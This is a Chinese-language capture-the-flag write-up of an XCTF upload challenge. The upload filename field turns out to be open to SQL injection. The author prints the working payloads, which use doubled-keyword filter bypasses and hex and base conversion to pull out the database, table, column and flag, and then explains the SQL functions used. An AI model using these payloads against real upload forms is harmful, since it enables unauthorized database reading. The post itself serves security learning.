ctf題記錄之SQL注入

2021-09-27 11:53:14 字數 2398 閱讀 3613

這是一道xctf平台上的upload題,我沒有想到它是個sql注入

0x01

開啟鏈結是乙個登陸介面,不管三七二十一先註冊登陸,是乙個檔案上傳的頁面,任意上傳檔案,發現只能傳jpg才能記錄下來。好像其他的都被過濾掉了。

值得注意的是我們上傳的檔名都會顯示到頁面上,這個過程可能是經過資料庫查詢的,我們上傳的檔名會存放到資料庫中,猜想插入語句為:

insert into 表名(『filename』,…) values(『上傳的檔名』,…);

嘗試構造sql語句,容我抓個包先!!

0x03

在filename=4.jpg的地方構造sql語句:嘗試發現select被過濾,嘗試雙寫繞過,經過輪番嘗試,構造語句:

』 +seleselectct conv(substr(hex(database()),1,12),16,10) +'讀取出庫名

依次讀出表名:

『+(seleselectct+conv(substr(hex((selselectect table_name frfromom information_schema.tables where table_schema = 『web_upload』 limit 1,1)),1,12),16,10))+』

讀出列名:

'+(seleselectct+conv(substr(hex((selselectect column_name frfromom information_schema.columns where table_name = 『hello_flag_is_here』 limit 1,1)),1,12),16,10))+ 』

讀出flag:

'+(seleselectct conv(substr(hex((seselectlect i_am_flag frfromom hello_flag_is_here limit 0,1)),1,12),16,10))+ 』

注意:substr中的長度限制:不限制長度會導致返回值太大,系統使用科學計數法(xx e ***xx)表示。所以還得一點點試試看,很煩這裡

我用的進製轉化工具:

16進製制轉ascii工具:

把36427215695199轉16進製制,再轉ascii碼得:!!@m

調整長度(13,12)得到:th.e_f

再次調整(25,12):!lag

拼接得:!

!_@m_th.e_f!lag

0x05分享以下學到的函式:

substr函式格式(俗稱:字元擷取函式)

格式1: substr(string string, int a, int b);

格式2:substr(string string, int a) ;

格式1:

1、string 需要擷取的字串

2、a 擷取字串的開始位置(注:當a等於0或1時,都是從第一位開始擷取)

3、b 要擷取的字串的長度

格式2:

1、string 需要擷取的字串

2、a 可以理解為從第a個字元開始擷取後面所有的字串。

conv()函式格式:

格式:conv(hex(『a』),a,b)

這個函式是用來將字元轉換進製的,例如將a轉成ascii碼(換個說法就是將16進製制的a換成10進製)直接用conv(hex(『a』),16,10)

第乙個引數是要轉換的字元,第二個就是要轉換的字元的進製,第三個引數就是轉換成的進製

就是說第二個引數要和第乙個引數的型別一致,第三個引數就是想要得到的進製

*

*limit :*

* limit子句用於限制查詢結果返回的數量,常用於分頁查詢

例如:select column from tablename limit i,n

i:為查詢結果的索引值(預設從0開始),當i=

0時可省略i

n:為查詢結果返回的數量

i與n之間使用英文逗號","隔開,limit n 等同於 limit 0

,n

CTF之SQL注入

github audi 1 sqli labs sqli labs 爆庫名select database 爆表名select group concat table name from information schema.tables where table schema database 爆列名s...

ctf做題記錄

萌萌噠的八戒 開啟檔案所在位置,新增字尾為zip.可以檔案有一句話以下密文被解開後可以獲得乙個有意義的單詞 frphevgl 在位移為13的時候可以獲得乙個有意義的單詞 security 然後把密文comechina移位13加密可得flag.世上無難事 以下是某國現任 外發的一段指令,經過一種奇異的...

Docker搭建ctf題記錄

一 安裝docker環境 二 用dockfile安裝映象 1.cd到dockerfile目錄,搭建image docker build t ctf test 代表當前目錄 ctf test 代表image名字 可以自定義 如果是根據docker compose.yml搭建可以使用裡面給的名字。三 生...